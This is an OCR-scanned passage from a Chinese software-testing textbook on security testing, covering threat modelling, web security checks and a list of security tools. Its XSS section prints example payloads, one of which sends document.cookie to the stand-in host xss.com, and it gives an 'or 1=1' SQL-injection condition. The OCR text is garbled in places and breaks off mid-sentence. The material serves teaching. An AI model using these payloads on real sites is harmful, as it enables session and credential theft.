1000 个 用 户 ,在 性 能 表现 上 可 能 会 出 现 很 大 的 区 别 ,在 服务 器 端 数据 处 理 量 传输 量 是 截然 不 
同 的 。 在 更 复杂 的 系统 内 ,就 需要 分 更 多 种 情况 提供 相应 的 容量 数据 供 参 考 。 

对 软件 容量 的 测试 ,能 让 软件 开发 商 或 用 户 了 解 该 软件 系统 的 承载 能 力 或 提供 服务 的 能 
力 ,如 某 个 电子 商务 网 站 所 能 承受 的 、 同 时 进行 交易 或 结算 的 在 线 用 户 数 。 知 道 了 系统 的 实际 
容量 ,如 果 不 能 满足 设计 要 求 , 就 应 该 寻求 新 的 技术 解决 方案 ,以 提高 系统 的 容量 。 有 了 对 软 
件 负载 的 准确 预测 ,不仅 能 对 软件 系统 在 实际 使 用 中 的 性 能 状况 充满 信心 ,同时 也 可 以 帮助 用 
户 经 济 地 规划 应 用 系统 ,优化 系统 和 网 络 配置 。 


6.4 安全 性 测试 


安全 性 是 一 个 复杂 的 主题 ,涉及 部 署 系统 的 各 个 级 别 。 安 全 性 要 求 分 析 ,包括 确 定 可 能 的 
或 潜在 的 各 类 安全 威胁 和 找到 处 理 这 些 威胁 的 策略 , 即 : 

(1) 确定 关键 (有 形 的 和 无 形 的 ) 资 产 , 并 找到 对 这 些 资产 的 威胁 。 

(2) 确定 使 组 织 暴 露 于 可 能 带 来 风险 威胁 的 薄弱 环节 。 

(3) 开发 减轻 组 织 风 险 的 安全 策略 。 

根据 ISO 8402 的 定义 ,安全 性 是 “使 伤害 或 损害 的 风险 限制 在 可 接受 的 水 平 内 ”。 安 全 性 
的 英文 术语 是 Safety, 另 一 个 英文 术语 Security, 也 有 安全 的 含义 ,但 是 它 主要 是 指 文件 、 数 
据 \ 资 料 的 保密 问题 。 软 件 的 安全 性 更 侧重 信息 (数据) 的 安全 性 , 即 Security, 包 括 功能 权限 
设置 ,身份 验证 ,数据 加 密 和 保护 等 内 容 , 排除 系统 可 能 存在 的 弱点 /漏洞 .脆弱 性 
(Vulnerability) 。 

软件 安全 性 和 可 靠 性 有 非常 紧密 的 联系 ,安全 事故 是 危害 度 最 大 的 失效 事件 ,因此 软件 可 
靠 性 要 求 通常 包括 安全 性 的 要 求 。 但 是 软件 的 可 靠 性 不 能 完全 取代 软件 的 安全 性 ,因为 安全 
性 要 求 包括 在 非 正常 条 件 下 不 发 生 安全 事故 的 能 力 。 

安全 性 测试 (Security Testing) 就 是 全 面 检验 软件 在 需求 规格 说 明 中 规定 的 防止 危险 状 
态 措施 的 有 效 性 和 在 每 一 个 危险 状态 下 的 反应 ,对 软件 设计 中 用 于 提高 安全 性 的 结构 、 算 法 、 
容错 元 余 、 中 断 处 理 等 方案 进行 针对 性 测试 ,并 对 安全 性 关键 的 软件 单元 和 软件 部 件 , 单 独 进 
行 加 强 的 测试 ,以 确认 其 满足 安全 性 需求 。 软 件 安全 性 测试 一 般 分 为 以 下 两 种 。 

(1) 安全 功能 测试 (Security Functional Testing) : 数据 机 密 性 \、 完 整 性 、 可 用 性 、 不 可 否认 
性 、 身 份 认证 ,授权 \ 访 问 控 制 审 计 跟 踪 、 委 托 、 隐 私 保护 ,安全 管理 等 。 

(2) 安全 漏洞 测试 (Security Vulnerability Testing): 从 攻击 者 的 角度 ,以 发 现 软件 的 安 
全 漏洞 为 目的 。 安 全 漏洞 是 指 系统 在 设计 、 实 现 、 操 作 、 管 理 上 存在 的 可 被 利用 的 缺陷 或 弱点 。 


6.4.1 安全 性 测试 的 范围 与 方法 


安全 性 测试 是 检查 系统 对 非法 侵入 的 防范 能 力 。 安 全 测试 期 间 , 测 试 人 员 假扮 非法 入 侵 
者 ,采用 各 种 办 法 试图 突破 防线 。 例 如 : 

(1) 想方设法 截取 或 破译 口令 ; 

(2) 专门 开发 软件 来 破坏 系统 的 保护 机 制 ; 

(3) 故意 导致 系统 失败 ,企图 趁 恢 复 之 机 非法 进入 ; 

(4) 试图 通过 浏览 非 保密 数据 ,推导 所 需 信 息 等 。 

理论 上 讲 , 只 要 有 足够 的 时 间 和 资源 ,没有 不 可 进入 的 系统 。 因 此 系统 安全 设计 的 准则 
是 ,使 非法 侵入 的 代价 超过 被 保护 信息 的 价值 ,此 时 非法 侵入 者 已 无 利 可 图 。 

1. 两 种 级 别 的 安全 性 

安全 性 一 般 分 为 两 个 层次 , 即 应 用 程序 级 别 的 安全 性 和 系统 级 别 的 安全 性 ,应 用 程序 级 别 
的 安全 性 : 核实 操作 者 只 能 访问 其 所 属 用 户 类 型 已 被 授权 访问 的 那些 功能 或 数据 。 系 统 级 别 
的 安全 性 : 核实 只 有 具备 系统 和 应 用 程序 访问 权限 的 操作 者 才能 访问 系统 和 应 用 程序 。 它 们 
的 关系 如 下 。 

(1) 应 用 程序 级 别 的 安全 性 ,包括 对 数据 或 业务 功能 的 访问 ; 系统 级 别 的 安全 性 ,包括 对 


系统 的 登录 或 远程 访问 。 

(2) 应 用 程序 级 别 的 安全 性 可 确保 : 在 预期 的 安全 性 情况 下 ,操作 者 只 能 访问 特定 的 功 
能 或 用 例 , 或 者 只 能 访问 有 限 的 数据 ; 例如 , 某 财务 系统 可 能 会 允许 所 有 人 输入 数据 ,创建 新 
账户 ,但 只 有 管理 员 才 能 删除 这 些 数据 或 账户 。 如 果 验 证 具有 数据 级 别 的 安全 性 ,测试 就 需要 
检验 “用户 类 型 一 ”能 够 看 到 所 有 客户 信息 (包括 财务 数据 ) ,而 “用 户 类 型 二 ”只 能 看 见 本 客户 
的 统计 数据 。 

(3) 系统 级 别 的 安全 性 可 确保 只 有 具备 系统 访问 权限 的 用 户 才能 访问 应 用 程序 ,而 且 只 
能 通过 相应 的 网 关 来 访问 。 

2. 安全 性 测试 目标 

安全 性 测试 目标 ,可 以 参考 相关 的 国家 标准 ,例如 : 

(1) GB 17859 一 1999 计算 机 信息 系统 安全 保护 等 级 划分 准则 

(2) GA/T 712 一 2007 信息 安全 技术 应 用 软件 系统 安全 等 级 保护 通用 测试 指南 

(3) GBT 20271 一 2006 信息 安全 技术 信息 系统 通用 安全 技术 要 求 

(4) GBT 20945 一 2007 信息 安全 技术 信息 系统 安全 审计 产品 技术 要 求 和 测试 评价 方法 

根据 相应 标准 (如 GB 17859 一 1999) ,确定 系统 安全 性 处 在 下 列 5 个 级 别 中 哪个 级 别 。 

(1) 用 户 自主 保护 级 ; 

(2) 系统 审计 保护 级 ; 

(3) 安全 标记 保护 级 ; 

(4) 结构 化 保护 级 ; 

(5) 访问 验证 保护 级 。 

然后 再 根据 相应 标准 (如 GBT 20945 一 2007) ,确定 测试 的 目标 ,完成 各 个 级 别 所 需要 进 
行 的 测试 项 。 真 正 要 明确 系统 级 别 和 测试 要 求 , 需 要 做 好 下 列 几 项 工作 。 

(1) 风险 分 析 和 安全 需求 测试 ; 

(2) 应 用 软件 系统 安全 方案 测试 ; 

(3) 应 用 软件 系统 环境 安全 测试 ; 

(4) 应 用 软件 系统 业务 连续 性 测试 ; 

(5) 应 用 软件 系统 及 相关 信息 系统 安全 等 级 划分 测试 。 

3. 测试 范围 

测试 范围 可 以 按照 GBT 20945 一 2007 要 求 来 确定 测试 范围 ,这 里 列 出 第 4 级 所 要 求 的 测 
试 项 ,包括 安全 性 测试 的 各 种 内 容 。 

1) 基础 安全 技术 测试 

2) 安全 功能 测试 

(1) 备份 与 故障 恢复 测试 

(2) 用 户 身份 鉴别 测试 

(3) 自主 访问 控制 测试 

(4) 用 户 数据 完整 性 保护 测试 

(5) 用 户 数据 保密 性 保护 测试 

(6) 安全 性 检测 分 析 测试 

(7) 安全 审计 测试 


(8) 抗 抵 赖 测试 

(9) 标记 测试 

(10) 强制 访问 控制 测试 

(11) 可 信 路 径 测试 

3) 软件 子 系统 自身 保护 测试 

(1) 系统 物理 安全 保护 测试 

(2) 系统 运行 安全 保护 测试 

(3) 系统 数据 安全 保护 测试 

(4) 软件 子 系统 资源 利用 测试 

(5) 软件 子 系统 访问 控制 测试 

4) 软件 子 系统 设计 和 实现 测试 

(1) 配置 管理 测试 

(2) 分 发 和 操作 测试 

(3) 开发 测试 

(4) 文档 测试 

(5) 生存 周期 支持 测试 

(6) 测试 的 测试 

(7) 脆弱 性 评定 测试 

5) 软件 子 系统 安全 管理 测试 

在 上 述 测试 范围 中 ,可 以 举 出 一 些 需 要 关注 的 内 容 , 例 如 : 

(1) 安全 审计 功能 的 设计 应 与 用 户 标识 与 鉴别 、 自 主 访问 控制 ,标记 与 强制 访问 控制 等 安 
全 功能 的 设计 紧密 结合 。 

(2) 提供 审计 日 志 , 实 时 报警 生成 ,潜在 侵害 分 析 、 基 于 异常 检测 ,能 做 到 安全 审计 事件 选 
择 ( 如 基本 审计 查阅 有 限 审计 查阅 和 可 选 审计 查阅 )、 受 保护 的 审计 踪迹 存储 和 审计 数据 的 可 
用 性 确保 等 功能 。 

(3) 应 用 软件 系统 的 用 户 身 份 鉴别 功能 ,例如 ,采用 强化 管理 的 口令 鉴别 /基于 令 牌 的 动 
态 口令 鉴别 /生物 特征 鉴别 /数字 证 书 鉴 别 进行 用 户 身份 鉴别 ,并 在 每 次 用 户 登 录 系 统 时 进行 
鉴别 ,鉴别 信息 应 是 不 可 见 的 并 在 存储 和 传输 时 应 按 GB/T 20271 一 2006 中 6. 3. 3. 9 的 要 求 
进行 加 密 , 通 过 对 不 成 功 的 鉴别 尝试 的 值 (包括 尝试 次 数 和 时 间 的 闽 值 ) 进 行 预先 定义 并 明确 
规定 达到 该 值 时 所 应 采取 的 动作 等 措施 来 实现 鉴别 失败 的 处 理 等 。 

(4) 抗 抵赖 分 为 抗原 发 抵赖 和 抗 接收 抵赖 ,主要 是 指 对 于 在 网 络 环境 进行 数据 交换 的 情 
况 , 按 相应 标准 要 求 , 通 过 提供 选择 性 原 发 或 接收 证 据 , 实 现 抗原 发 或 抗 接收 抵赖 功能 。 

(5) 自主 访问 控制 ,提供 用 户 按照 确定 的 访问 控制 策略 对 自身 创建 的 客体 (对 象 ) 的 访问 
进行 控制 的 功能 ,对 文件 ,数据库 能 够 实现 文件 级 粒度 .数据 库 表 级 /记录 /字段 级 粒度 的 自主 
访问 控制 ,而 未 经 授权 的 用 户 不 得 以 任何 操作 方式 访问 客体 ,授权 用 户 不 得 以 未 授权 的 操作 方 
式 访问 客体 。 

(6) 将 强制 访问 控制 的 范围 应 限定 在 所 定义 的 主体 与 客体 ; 将 系统 的 常规 管理 .与 安全 
有 关 的 管理 以 及 审计 管理 分 别 由 系统 管理 员 、 系 统 安全 员 和 系统 审计 员 来 承担 , 按 最 小 授权 原 
则 分 别 授予 它们 各 自 为 完成 自己 所 承担 任务 所 需 的 最 小 权限 ,并 在 它们 之 间 形 成 相互 制约 的 


(7) 数据 安全 保护 : 实现 对 输出 数据 可 用 性、 保密 性 和 完整 性 保护 ,实现 数据 传输 的 基本 
保护 ,数据 分 离 传输 、 数 据 完整 性 保护 ,实现 数据 及 其 复制 的 一 致 性 保护 。 

(8) 访问 控制 : 如 在 建立 会 话 之 前 应 鉴别 用 户 的 身份 ,不 允许 鉴别 机 制 本 身 被 旁 路 ; 从 访 
问 方法 .访问 地 址 和 访问 时 间 等 方面 对 用 来 建立 会 话 的 安全 属性 的 范围 进行 限制 ; 应 限制 系 
统 的 并 发 会 话 的 最 大 次 数 并 就 会 话 次 数 的 限定 数 设置 默认 值 ; 提供 一 种 机 制 一 一 能 按时 间 、 
进入 方式 、 地 点 、 网 络 地址 或 端口 等 条 件 规 定 哪些 用 户 能 进入 系统 等 。 

(9) 脆弱 性 评定 : 防止 误 用 的 评定 一 一 通过 对 文档 的 检查 和 分 析 确 认 , 查 找 以 不 安全 的 
方式 进行 使 用 或 配置 而 不 为 人 们 所 察觉 的 情况 ; 安全 功能 强度 评估 一 一 通过 对 安全 机 制 的 安 
全 行为 的 合格 性 或 统计 结果 的 分 析 , 证 明 其 达到 或 超过 安全 目标 要 求 所 定义 的 最 低 强 度 ; 独 
立 脆弱 性 分 析 一 一 通过 独立 穿 透 测试 ,确定 软件 子 系统 可 以 抵御 攻击 者 发 起 的 攻击 。 

4. 安全 性 测试 方法 

安全 性 测试 可 以 采用 第 3 章 介绍 的 各 种 方法 ,如 基于 代码 的 安全 测试 .基于 缺陷 模式 的 方 
法 、 基 于 故障 注 和 的 安全 性 测试 ,形式 化 安全 测试 方法 、 模 糊 测试 方法 等 。 人 们 习惯 将 安全 性 
测试 分 为 静态 测试 (如 工具 扫描 、 语 法 分 析 等 ) .动态 测试 (执行 程序 ,发现 其 安全 性 问题 ), 即 静 
态 的 代码 分 析 方法 和 动态 的 渗透 测试 方法 。 

(1) 静态 的 代码 分 析 方 法 (如 基于 缺陷 模式 的 方法 ): 主要 通过 对 源 代码 进行 安全 扫描 ， 
根据 程序 中 数据 流 、 控 制 流 、. 语 义 等 信息 与 其 特有 软件 安全 规则 库 ( 如 图 6-15 所 示 ) 进 行 配对 ， 
从 中 找 出 代码 中 潜在 的 安全 漏洞 。 静 态 的 源 代 码 安全 测试 是 常用 的 方法 ,可 以 在 编码 阶段 找 
出 所 有 可 能 存在 安全 风险 的 代码 ,这 样 可 以 在 早期 解决 潜在 的 安全 问题 。 
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6-15 ”代码 安全 性 扫描 测试 示例 


(2) 动态 的 渗透 测试 : 渗透 测试 也 是 常用 的 安全 测试 方法 ,使 用 自动 化 工具 ( 见 6.4.3 节 ) 
或 者 人 工 的 方法 模拟 黑客 的 输入 ,对 应 用 系统 进行 攻击 性 测试 ,从 中 找 出 运行 时 刻 所 存在 的 安 
全 漏洞 。 这 种 测试 的 特点 就 是 真实 有 效 , 找 出 来 的 问题 一 般 更 为 严重 。 

还 可 以 把 安全 性 测试 方法 分 为 以 下 两 种 。 

(1) 基于 漏洞 的 方法 ,从 软件 内 部 考虑 软件 的 安全 性 ,识别 软件 的 安全 漏洞 。 

(2) 基于 威胁 的 方法 ,从 软件 外 部 考察 软件 的 安全 性 ,识别 软件 面临 的 安全 威胁 并 测试 其 
是 否 能 够 发 生 。 

安全 性 测试 还 有 一 些 特定 的 方法 ,如 基于 属性 的 测试 ,动态 污点 分 析 方 法 (Dynamic Taint 
Analysis) 和 威胁 模型 与 攻击 树 理论 等 。 这 里 简单 介绍 后 面 两 种 方法 。 

1. 动态 污点 分 析 

动态 污点 分 析 是 近 几 年 刚刚 被 提出 的 一 种 新 的 有 效 检测 各 种 蠕虫 攻击 和 自动 提取 特征 码 
用 于 IDS(Intrusion Defection System, 人 侵 检测 系统 ) 和 IPS(Intrusion Prevention System, 人 
侵 预防 系统 ) 的 一 系列 解决 方案 。 其 原理 主要 分 为 两 大 部 分 : 动态 污点 标记 和 非法 操作 检测 
以 及 更 精确 的 提取 特征 码 的 方法 。 

(1) 动态 污点 标记 和 非法 操作 检测 。 来 自 于 网 络 等 不 被 信任 的 渠道 的 数据 都 会 被 标记 为 
“被 污染 ”的 ,由 此 产生 的 一 系列 算术 和 逻辑 操作 新 生成 的 数据 也 会 继承 源 数据 的 “是 否 被 污 
染 ” 的 属性 。 这 样 ,一 旦 检测 到 被 污染 的 数据 作为 跳 转 (jmp 族 指 令 )、 调 用 (call, ret) 以 及 作为 
数据 移动 的 目的 地 址 ,或 者 是 其 他 使 EIP 寄存 器 被 填充 为 被 污染 数据 的 操作 ,都 会 被 视 为 非 
法 操作 ,系统 会 报警 并 产生 当前 的 相关 内 存 .寄存 器 和 一 段 时 间 内 网 络 数据 流 的 快照 并 传递 给 
特征 码 生 成 服务 器 作为 生成 相应 的 特征 码 的 原始 资料 。 具 体 的 实现 方法 ,如 Argos 的 实现 方 
法 , 它 是 对 著名 的 开源 虚拟 机 Qemu 的 一 个 扩展 ,用 一 个 一 一 对 应 的 位 图 映射 来 标识 相应 的 物 
理 内 存 和 寄存 器 是 否 被 污染 ,然后 标记 继承 关系 ,进行 跟踪 和 报警 。 

(2) 特征 码 提取 。 将 当前 的 环境 保存 为 一 个 快照 作为 特征 码 提取 。 进 程 信息 是 通过 向 当 
前 进程 中 注入 一 段 dump 进程 和 端口 信息 的 shellcode 并 执行 来 实现 的 。 利 用 LCS( 最 长 公共 
子 序列 ) 法 和 CREST 法 来 产生 特征 码 。CREST 方法 的 原理 是 通过 匹配 在 内 存 快照 中 原始 
EIP(Extended Instruction Pointer) 指 向 的 数据 和 网 络 流 中 出 现 算 改 后 的 EIP 地 址 的 区 域 的 
相同 数据 段 作 为 特征 码 ,并 结合 端口 和 使 用 的 协议 来 产生 一 个 snort 格式 的 规则 。 

2. 威胁 模型 与 攻击 树 理论 

威胁 模型 与 攻击 树 理论 ,关键 是 威胁 建 模 , 而 威胁 建 模 的 主要 步骤 是 识别 要 保护 的 资产 和 分 
解 应 用 程序 (识别 入 口 点 、 出 口 点 ,信任 边界 数据 流 描述 等 ), 从 而 识别 出 软件 面临 的 安全 威胁 ， 
找 出 威胁 可 实现 过 程 ,最 后 通过 攻击 树 对 威胁 实施 过 程 建 模 , 评 估 威 胁 , 确 定 降低 威胁 的 对 策 。 

(1) 最 常用 的 威胁 分 类 方法 是 STRIDE, 即 Spoofing (欺骗 )、Tampering ( 臭 改 )、 
Repudiation( 否 认 )、Information Disclosure (信息 泄漏 )、Denial of Service (拒绝 服务 )、 
Elevation of Privilege( 特 权 提 升 ) 。 

(2) 威胁 评估 常用 DREAD 方法 ,分 别 量化 潜在 损失 (Damage Potential)、 重 现 性 
(Reproducibility)、 可 利用 性 (Exploitability)、 受 影响 的 用 户 (Affected Users)、 可 发 现 性 
(Discoverability), 计 算出 每 种 威胁 的 风险 值 , 进 而 决定 每 种 威胁 的 优先 次 序 。 


6.4.2 ”Web 安全 性 测试 
随 着 Internet 的 普及 ,网 上 购物 、 网 上 交易 、 电 子 银行 等 新 的 信息 交易 方式 走 进 人 们 的 生 


活 , 同 时 网 络 安全 越 来 越 不 容 忽视 。 在 这 些 应 用 中 ,通常 要 使 用 Web 页 面 来 传送 一 些 重要 的 
信息 ,如 信用 卡 信息 ,用户 资料 信息 等 ,一 旦 这 些 信息 被 黑客 捕获 ,后 果 将 不 堪 设 想 。 在 Web 
的 安全 性 测试 中 ,通常 需要 考虑 下 列 的 情形 。 

(1) 数据 加 密 。 某 些 数据 需要 进行 信息 加 密 和 过 滤 后 才能 在 客户 端 和 服务 器 之 间 进 行 传 
输 , 包 括 用 户 登 录 密 码 、 信 用 卡 信息 等 。 例 如 ,在 登录 某 银 行 网 站 时 ,该 网 站 必须 支持 SSL 协 
议 , 通 过 浏览 器 访问 该 网 站 时 ,地 址 栏 的 http 变 成 https, 建 立 https 连接 。 这 相当 于 在 HTTP 
和 TCP 之 间 增 加 了 一 层 加 密 一 一 SSL 协议 。SSL 是 利用 公开 密 钥 /私有 密 钥 的 加 密 技 术 
(RSA) ,建立 用 户 与 服务 器 之 间 的 加 密 通 信 , 确 保 所 传递 信息 的 安全 性 。 数 据 加 密 的 安全 性 
还 包括 加 密 的 算法 、 密 钥 的 安全 性 。 

(2) 登录 或 身份 验证 。 一 般 的 应 用 站 点 都 会 使 用 登录 或 者 注册 后 使 用 的 方式 ,因此 ,必须 
对 用 户 名 和 匹配 的 密码 进行 校 验 ,以 阻止 非法 用 户 登录 。 在 进行 登录 测试 的 时 候 , 需 要 考虑 输 
人 的 密码 是 否 大 小 写 敏感 ,是 否 有 长 度 和 条 件 限制 ,最 多 可 以 尝试 多 少 次 登录 ,哪些 页 面 或 者 
文件 需要 登录 后 才能 访问 /下 载 等 。 身 份 验证 还 包括 调用 者 身份 .数据库 的 身份 .用户 授权 等 ， 
并 区 分 公共 访问 和 受 限 访问 , 受 限 访问 的 资源 。 

(3) 输入 验证 。Web 页 面 有 很 多 表单 提交 ,实际 每 个 输入 域 都 可 能 是 一 个 潜在 的 风险 , 黑 
客 可 以 利用 文字 输入 框 ,将 攻击 性 的 脚本 输入 进去 ,提交 给 服务 器 处 理 ,来 攻击 服务 器 。 有 时 ， 
也 可 以 在 输入 域 提 交 一 些 危 害 性 的 脚本 ,提交 上 去 , 隐 含 到 某 个 页 面 上 ,如 某 个 文件 的 下 载 链 
接 , 当 另 外 一 个 用 户 单 击 链接 时 ,就 可 以 调用 相应 的 脚本 来 读 取 该 用 户 硬盘 的 数据 或 用 户 名 / 
口令 ,发 送出 去 ,类 似 于 木马 病毒 。 所 以 ,在 进行 Web 安全 性 测试 时 ,每 个 输入 域 都 需要 用 标 
准 的 机 制 验 证 ,长度 .数据 类 型 等 符合 设 定 要 求 ,不 允许 输入 JavaScript 代码 ,包括 验证 从 数据 
库 中 检索 的 数据 ,传递 到 组 件 或 Web 服务 的 参数 等 。 

(4) SQL 注入 。 从 客户 端 提交 特殊 的 代码 ,从 而 收集 程序 及 服务 器 的 信息 ,从 而 获取 必要 
的 数据 库 信 息 ,然后 基于 这 些 信息 , 可 以 注入 某 些 参数 , 绕 过 程序 的 保护 ,针对 数据 库 服 务 器 进 
行 攻击 。 例如, 在原 有 URL 地 址 后 面 加 一 个 恒 成 立 的 条 件 ( 如 or 1 二 1 或 or user 二 0) ,这样 ， 
可 以 绕 过 系统 的 保护 ,对 数据 库 进行 操作 。 

(5) 超时 限制 。Web 应 用 系统 一 般 会 设 定 “ 超 时 ”限制 , 当 用 户 长 时 间 ( 如 15min) 不 做 任 
何 操作 时 ,需要 重新 登录 才能 打开 其 他 页 面 。 会话 (Session) 的 安全 性 还 包括 交换 会 话 标识 
符 、 会 话 存储 状态 等 的 安全 性 。 

(6) 目录 。Web 的 目录 安全 也 是 不 容 忽视 的 。 如 果 Web 程序 或 Web 服务 器 的 处 理 不 适 
当 , 可 以 通过 简单 的 URL 替换 和 推测 ,使 整个 Web 目录 暴露 出 来 , 带 来 严重 的 安全 隐患 。 可 
以 采用 某 些 方法 将 这 种 隐患 降低 到 最 小 程度 ,如 每 个 目录 下 都 存在 index. htm, 以 及 严格 设 定 
Web 服务 器 的 目录 访问 权限 。 

(7) 操作 留 痕 。 为 了 保证 Web 应 用 系统 的 安全 性 ,日志 文件 是 至 关 重 要 的 。 需 要 测试 相 
关 信息 是 否 写 进入 了 日 志文 件 ,是 否 可 追踪 。 


跨 站 点 攻击 (Xcross-site Scripting,.XSS) 
XSS 可 以 让 攻击 者 在 页 面 访 问 者 的 浏览 器 中 执行 JavaScript 脚本 ,从 而 可 以 获得 用 户 
会 话 的 安全 信息 ,插入 恶意 的 信息 或 植 入 病毒 等 。 按 照 注入 的 途径 ,一 般 分 为 三 种 一 一 反 
射 (Reflected) 、 基 于 DOM 文档 对 象 模型 (DOM-based) 和 存储 (Store) 。 


1. Reflected XSS 

Reflected XSS 指 当 表单 中 输入 的 内 容 ,提交 到 服务 器 后 未 经 过 安全 检查 或 重新 编码 ， 
立即 显示 在 返回 的 页 面 上 ,同时 执行 恶意 的 脚本 。 攻 击 者 利用 一 些 存在 漏洞 的 网 站 上 的 表 
单 ,构造 一 些 含有 恶意 代码 的 URL, 当 这 个 URL 被 单 击 时 ,站 点 将 遭受 攻击 。 例 如 ,在 搜 
索 的 关键 字 文本 框 中 输入 : 


< script > var + img = new + Image() ;img. src = "http://xss. com/" % 20+ %20document. cookie;</script > 


这 个 页 面 没 有 过 滤 和 处 理 该 字符 串 , 作 为 关键 字 的 这 段 代码 , 如 果 直 接 回 显 在 搜索 结 
果 页 面 上 ,就 变 成 了 : img. src 一 "http://xss. com/" 十 document. cookie;。 

恶意 者 将 搜索 结果 页 面 的 link 发 给 其 他 人 ,被 单 击 后 ,执行 的 结果 会 是 将 该 网 站 路 径 
下 的 Cookie 发 到 了 http://xss. com, 从 而 暴露 了 安全 信息 (如 Cookie 保存 的 用 户 名 、 密 码 )。 

2. Stored XSS 

Stored XSS 的 机 理 类 似 于 基于 反射 的 XSS, 只 是 它 是 将 攻击 代码 提交 到 了 服务 器 端 
的 数据 库 或 文件 系统 中 。 不 用 构造 一 个 URL, 而 是 保存 在 一 片 文章 或 一 个 论坛 帖子 中 ,从 
而 使 得 访问 该 页 面 的 用 户 都 有 可 能 受到 攻击 。 

举例 来 说 ,在 论坛 的 帖子 中 包含 以 下 代码 ; 

var objHTTP, strResult; objHTTP = new ActiveXObject( 'Microsoft. XMLHTTP') ; 

objHTTP. Open( 'POST', "< 某 个 表单 指向 的 Action>", false); 

objHTTP. setRequestHeader( 'Content - Type', 'application/x- www- form- urlencoded'); 

objHTTP. send( "< 构造 的 请 求 内 容 >" ) ; strResult = objHTTP. responseText; 

当 其 他 用 户 访问 该 文章 时 ,这 里 的 脚本 就 会 被 执行 ,而 且 是 以 当前 用 户 的 身份 执行 的 。 
因为 使 用 XMLHttpRequest() 时 会 同时 发 出 用 户 的 Cookie, 从 而 可 以 获得 当前 用 户 的 
权限 。 

3. DOM-based XSS 

假设 有 个 名 为 http://www. mysite. com 的 站 点 ,用 户 登 录 后 会 进入 一 个 欢迎 页 面 
welcome. html,welcome 页 面包 含 以 下 一 段 代码 : 

<HIML> 

<TITLE > Welcome!</TITLE> 

Hi 

< Script> 

Var pos = document. URL. indexOf("name=") +5; 
document. write( document. URL. substring( pos, document. URL. length) ); 


</script ><BR> 
Welcome to our system 


</HTML> 


一 般 情 况 下 ,用 户 通过 链接 http://www. mysite. com/welcome. html?name 王 Chico， 
进入 到 welcome 页 面 , 其 上 会 显示 “Hi Chico” 这 样 的 文字 。 
试想 如 果 输 入 


http://www.mysite. com/welcome. html?name= < script>alert(document. cookie)</script> 


这 样 的 地 址 会 发 生 什么 情况 呢 ? 页 面 中 已 被 植 入 <<script 盖 alert(document, cookie) 
< 返 /script 之 这 样 的 JavaScript 代码 ,并且 会 被 执行 。 

基于 DOM 的 XSS 攻击 ,恶意 代码 是 借助 于 DOM 本 身 的 问题 而 被 植 入 的 ,表现 在 客 
户 端的 浏览 器 中 ; 恶意 代码 来 源 于 别处 (查询 字符 串 中 或 调用 的 其 他 的 外 部 网 站 的 内 容 片 
段 );“name 一 ?这样 的 查询 参数 也 可 以 通过 一 些 技术 手段 让 服务 器 端 忽略 ,而 不 做 任何 的 
安全 验证 。 


6.4.3 安全 性 测试 工具 


安全 性 测试 一 直 充 满 着 挑战 ,安全 和 非法 入侵 /攻击 始终 是 矛 和 盾 的 关系 ,所 以 安全 测试 
工具 一 直 没 有 绝对 的 标准 。 虽 然 有 时 会 让 专业 的 安全 厂商 来 远程 扫描 企业 的 Web 应 用 程序 ， 
验证 所 发 现 的 问题 并 生成 一 份 安全 聚焦 报告 。 但 由 于 控制 .管理 和 商业 秘密 的 原因 ,许多 公司 
喜欢 自己 实施 渗透 测试 和 扫描 ,这 时 用 户 就 需要 购买 相关 的 安全 性 测试 工具 ,并 建立 一 个 安全 
可 靠 的 测试 机 制 。 

在 选择 安全 性 测试 工具 时 ,需要 建立 一 套 评 估 标 准 。 根 据 这 个 标准 ,能 够 得 到 合适 的 且 安 
全 的 工具 ,不 会 对 软件 开发 和 维护 产生 不 利 的 影响 。 安 全 性 测试 工具 的 评估 标准 ,主要 包括 下 
列 内 容 。 

(1) 支持 常见 的 Web 服务 器 平台 ,如 IIS 和 Apache, 支 持 HTTP、SOAP、SIMP 等 通信 协 
议 以 及 ASP、JSP、ASP. NET 等 网 络 技术 。 

(2) 能 同时 提供 对 源 代码 和 二 进 制 文件 进行 扫描 的 功能 ,包括 一 致 性 分 析 、 各 种 类 型 的 安 
全 性 弱点 等 ,找到 可 能 触发 或 隐 含 恶意 代码 的 地 方 。 

(3) 漏洞 检测 和 纠正 分 析 。 这 种 扫描 器 应 当 能 够 确认 被 检测 到 漏洞 的 网 页 ,以 理解 的 语 
言 和 方式 来 提供 改正 建议 。 

(4) 检测 实时 系统 的 问题 ,如 死 锁 检 测 .异步 行为 的 问题 等 。 

(5) 持续 有 效 地 更 新 其 漏洞 数据 库 。 

(6) 不 改变 被 测试 的 软件 ,不 影响 代码 。 

(7) 良好 的 报告 ,如 对 检测 到 的 漏洞 进行 分 类 ,并 根据 其 严重 程度 对 其 等 级 评定 。 

(8) 非 安全 专业 人 士 也 易于 上 手 。 

(9) 可 管理 部 署 的 多 种 扫描 器 、 尽 可 能 小 的 错误 误差 等 。 

安全 性 测试 工具 ,可 以 有 不 同 的 分 类 ,例如 : 

(1) 通用 漏洞 检测 /渗透 测试 工具 ,以 Metaspoit、Nessus(Tenable Network Security) 为 
代表 ,包括 CoreImpact、Immunity CANVAS、X-Scan、WebRavor、Aurora 600 等 。 

(2) Web 应 用 /网 站 专业 扫描 工具 ,包括 w3af、Paros proxy、Burp Suite、Websense Web 
Security Suite, Acunetix Web Vulnerability Scanner、N-Stalker Web Application Security 
Scanner、Watchfire AppScan IJBM Rational Appscan、HP WebInspect 等 。 

(3) 注入 漏洞 检测 工具 : Pangolin。 

(4) 数据 库 漏洞 扫描 工具 : App Detective (Application security) 。 

(5) 密码 /网 络 破解 工具 ,以 John The Ripper、Cain&Abel、Hydra 等 为 代表 。 

(6) 网 络 扫描 工具 ,以 Nmap 为 代表 ,还 有 Netcat、SuperScan、Zmap、Snort 等 。 

(7) 嗅 探 工具 ,以 Wireshark 为 代表 ,还 有 Ettercap、Dsniff 等 。 


(8) 无 线 测试 工具 ,以 Aircrack-ng 为 代表 ,还 有 Kismet wifiScanner 等 。 

下 面 侧重 介绍 一 些 容易 得 到 的 、. 开 源 的 安全 性 测试 工具 。 

(1) Metasploit(www. metasploit. com) 是 一 款 开源 的 、 通 用 的 安全 漏洞 检测 工具 (框架 )， 
Metasploit 将 负载 控制 ,编码 器 、 无 操作 生成 器 和 漏洞 整合 在 一 起 ,成 为 一 种 研究 高 危 漏洞 的 
途径 。 它 集成 了 各 平台 上 常见 的 溢出 漏洞 (生成 漏洞 库 ) 和 流行 的 shellcode, 从 而 只 要 选择 攻击 
